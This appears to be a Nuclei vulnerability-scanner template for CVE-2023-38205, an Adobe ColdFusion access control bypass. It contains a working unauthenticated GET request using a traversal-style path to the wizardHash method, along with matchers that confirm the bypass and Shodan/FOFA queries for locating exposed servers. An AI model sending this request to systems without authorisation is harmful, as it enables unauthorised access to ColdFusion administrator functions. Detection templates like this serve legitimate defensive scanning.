id: CVE-2023-38205

info:
  name: Adobe ColdFusion - Access Control Bypass
  author: DhiyaneshDk
  severity: high
  description: |
    There is an access control bypass vulnerability in Adobe ColdFusion versions 2023 Update 2 and below, 2021 Update 8 and below and 2018 update 18 and below, which allows a remote attacker to bypass the ColdFusion mechanisms that restrict unauthenticated external access to ColdFusion's Administrator.
  remediation: |
    Apply the necessary security patches or updates provided by Adobe to mitigate this vulnerability.
  reference:
    - https://www.rapid7.com/blog/post/2023/07/19/cve-2023-38205-adobe-coldfusion-access-control-bypass-fixed/
    - https://helpx.adobe.com/security/products/coldfusion/apsb23-47.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-38205
    cwe-id: CWE-284
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: coldfusion
    shodan-query: http.component:"Adobe ColdFusion"
    fofa-query: app="Adobe-ColdFusion"
  tags: cve,cve2023,adobe,auth-bypass,coldfusion,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/hax/..CFIDE/wizards/common/utils.cfc?method=wizardHash&inPassword=foo&_cfclient=true&returnFormat=wddx"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - ([0-9a-fA-F]{32},){2}[0-9a-fA-F]{32}

      - type: dsl
        dsl:
          - contains(content_type, "text/html")
          - status_code == 200
          - len(trim_space(body)) == 106
        condition: and